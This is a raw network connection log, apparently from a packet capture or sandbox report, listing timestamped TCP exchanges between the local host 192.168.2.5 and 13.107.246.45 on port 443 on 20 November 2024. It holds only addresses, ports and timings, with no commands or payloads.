Nov 20, 2024 06:40:29.352416992 CET	443	49787	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.394889116 CET	443	49783	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.394948959 CET	443	49783	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.395030975 CET	49783	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.395169973 CET	49783	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.395194054 CET	443	49783	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.395207882 CET	49783	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.395215034 CET	443	49783	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.400007963 CET	49788	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.400047064 CET	443	49788	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.400109053 CET	49788	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.400449038 CET	49788	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.400464058 CET	443	49788	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.406656027 CET	443	49784	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.406842947 CET	443	49784	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.406932116 CET	49784	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.406932116 CET	49784	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.406996012 CET	49784	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.407027006 CET	443	49784	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.409250975 CET	49789	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.409292936 CET	443	49789	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.409382105 CET	49789	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.409600973 CET	49789	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.409619093 CET	443	49789	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.424348116 CET	443	49785	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.424403906 CET	443	49785	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.424465895 CET	49785	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.424563885 CET	49785	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.424587965 CET	443	49785	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.424602985 CET	49785	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.424611092 CET	443	49785	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.426892042 CET	49790	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.426918030 CET	443	49790	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.426974058 CET	49790	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.427093029 CET	49790	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.427107096 CET	443	49790	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.594125986 CET	443	49786	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.597935915 CET	49786	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.597978115 CET	443	49786	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.598476887 CET	49786	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.598483086 CET	443	49786	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.697696924 CET	443	49786	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.697784901 CET	443	49786	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.697844028 CET	49786	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.734157085 CET	49786	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.734209061 CET	443	49786	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.734237909 CET	49786	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.734256029 CET	443	49786	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.738279104 CET	49792	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.738331079 CET	443	49792	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:29.738413095 CET	49792	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.738895893 CET	49792	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:29.738936901 CET	443	49792	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.023760080 CET	443	49787	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.047956944 CET	443	49789	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.050601959 CET	443	49788	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.056740046 CET	49787	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.056777954 CET	443	49787	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.057353020 CET	49787	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.057358980 CET	443	49787	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.071528912 CET	49789	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.071566105 CET	443	49789	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.072005033 CET	49789	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.072014093 CET	443	49789	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.073504925 CET	49788	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.073539972 CET	443	49788	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.074011087 CET	49788	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.074018955 CET	443	49788	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.087948084 CET	443	49790	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.088318110 CET	49790	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.088335991 CET	443	49790	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.088963985 CET	49790	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.088968992 CET	443	49790	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.159960032 CET	443	49787	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.160010099 CET	443	49787	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.160322905 CET	49787	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.171921968 CET	443	49788	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.171983957 CET	443	49788	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.172112942 CET	49788	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.178997993 CET	443	49789	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.179162025 CET	443	49789	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.179231882 CET	49789	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.195369959 CET	443	49790	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.195424080 CET	443	49790	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.195480108 CET	49790	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.214860916 CET	49787	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.214936018 CET	443	49787	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.214972019 CET	49787	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.214989901 CET	443	49787	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.217489004 CET	49790	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.217514992 CET	443	49790	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.217531919 CET	49790	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.217540026 CET	443	49790	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.220518112 CET	49788	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.220526934 CET	443	49788	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.220601082 CET	49788	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.220606089 CET	443	49788	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.222456932 CET	49789	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.222481966 CET	443	49789	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.369530916 CET	49794	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.369610071 CET	443	49794	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.369702101 CET	49794	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.376689911 CET	49795	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.376782894 CET	443	49795	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.376848936 CET	49795	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.378007889 CET	49796	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.378106117 CET	443	49796	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.378176928 CET	49796	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.378267050 CET	49794	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.378331900 CET	443	49794	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.379053116 CET	49797	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.379136086 CET	443	49797	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.379201889 CET	49797	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.379371881 CET	49797	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.379400969 CET	443	49797	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.382086992 CET	49795	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.382117987 CET	443	49795	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.382280111 CET	49796	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.382314920 CET	443	49796	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.389487028 CET	443	49792	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.391452074 CET	49792	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.391480923 CET	443	49792	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.391920090 CET	49792	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.391927958 CET	443	49792	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.492235899 CET	443	49792	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.492321968 CET	443	49792	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.492371082 CET	49792	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.493374109 CET	49792	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.493402004 CET	443	49792	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.493416071 CET	49792	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.493422031 CET	443	49792	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.498744011 CET	49799	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.498805046 CET	443	49799	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.498928070 CET	49799	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.499552965 CET	49799	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.499569893 CET	443	49799	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.794475079 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.794527054 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.794611931 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.795008898 CET	49802	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.795104980 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.795310974 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.795331001 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:30.795382023 CET	49802	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.795675993 CET	49802	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:30.795700073 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.021500111 CET	443	49795	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.032516956 CET	443	49796	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.040282011 CET	443	49794	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.041223049 CET	49795	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.041294098 CET	443	49795	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.041323900 CET	443	49797	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.041548967 CET	49796	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.041651011 CET	443	49796	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.041779041 CET	49795	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.041791916 CET	443	49795	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.042030096 CET	49797	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.042035103 CET	49796	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.042052031 CET	443	49796	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.042062044 CET	443	49797	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.042418003 CET	49797	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.042423964 CET	443	49797	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.042485952 CET	49794	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.042520046 CET	443	49794	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.042875051 CET	49794	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.042884111 CET	443	49794	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.137429953 CET	443	49795	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.137495041 CET	443	49795	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.137548923 CET	49795	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.139998913 CET	443	49796	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.140189886 CET	443	49796	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.140373945 CET	49796	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.140381098 CET	443	49799	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.141297102 CET	49795	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.141297102 CET	49795	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.141335011 CET	443	49795	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.141366005 CET	443	49795	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.143467903 CET	443	49794	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.143548965 CET	443	49794	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.143606901 CET	49794	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.144260883 CET	49796	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.144330978 CET	443	49796	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.147186995 CET	49799	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.147214890 CET	443	49799	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.147794008 CET	49799	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.147800922 CET	443	49799	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.148155928 CET	49794	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.148190975 CET	443	49794	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.148214102 CET	49794	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.148222923 CET	443	49794	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.149584055 CET	443	49797	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.149647951 CET	443	49797	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.149880886 CET	49797	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.150322914 CET	49805	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.150403976 CET	443	49805	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.150580883 CET	49797	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.150593996 CET	443	49797	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.150603056 CET	49797	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.150609016 CET	443	49797	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.150631905 CET	49805	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.157567024 CET	49805	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.157579899 CET	443	49805	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.160701990 CET	49806	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.160744905 CET	443	49806	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.160811901 CET	49806	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.162542105 CET	49807	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.162558079 CET	443	49807	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.162605047 CET	49807	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.163059950 CET	49807	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.163070917 CET	443	49807	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.164460897 CET	49806	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.164480925 CET	443	49806	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.172019958 CET	49808	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.172061920 CET	443	49808	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.172120094 CET	49808	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.172260046 CET	49808	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.172276974 CET	443	49808	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.243151903 CET	443	49799	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.243340969 CET	443	49799	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.243834019 CET	49799	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.243887901 CET	49799	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.243887901 CET	49799	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.243908882 CET	443	49799	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.243916988 CET	443	49799	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.246385098 CET	49809	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.246445894 CET	443	49809	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.246511936 CET	49809	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.246639967 CET	49809	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.246654034 CET	443	49809	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.383713007 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.384011030 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.384041071 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.385054111 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.385132074 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.386171103 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.386229038 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.386704922 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.386713028 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.392692089 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.393183947 CET	49802	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.393219948 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.394789934 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.394862890 CET	49802	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.402784109 CET	49802	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.402869940 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.403254032 CET	49802	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.403263092 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.435678005 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.501275063 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.501297951 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.501351118 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.501374006 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.501418114 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.501466036 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.501473904 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.501497984 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.501528978 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.501549006 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.509433985 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.509478092 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.509499073 CET	49802	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.509514093 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.509531975 CET	49802	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.509537935 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.509556055 CET	49802	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.587728024 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.587762117 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.587804079 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.587832928 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.587866068 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.587903023 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.589745045 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.589766026 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.589808941 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.589814901 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.589873075 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.597259045 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.597271919 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.597296000 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.597306967 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.597338915 CET	49802	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.597351074 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.597363949 CET	49802	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.598856926 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.598865986 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.598908901 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.598939896 CET	49802	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.598948956 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.598961115 CET	49802	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.598968029 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.598983049 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.598992109 CET	49802	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.598998070 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.599006891 CET	49802	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.599024057 CET	49802	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.599448919 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.599503994 CET	49802	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.599512100 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.599565983 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.599612951 CET	49802	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.599776983 CET	49802	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.599791050 CET	443	49802	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.615596056 CET	49814	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.615674019 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.615801096 CET	49814	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.615978956 CET	49814	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.615999937 CET	443	49814	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.674591064 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.674613953 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.674689054 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.674701929 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.674732924 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.674751043 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.675578117 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.675597906 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.675663948 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.675669909 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.675703049 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.675714970 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.676600933 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.676624060 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.676692963 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.676698923 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.676736116 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.678347111 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.678368092 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.678423882 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.678428888 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.678483009 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.762098074 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.762124062 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.762176991 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.762203932 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.762221098 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.762304068 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.762927055 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.762943029 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.763005018 CET	49801	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:31.763014078 CET	443	49801	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:31.763041973 CET	49801	443	192.168.2.5	13.107.246.45
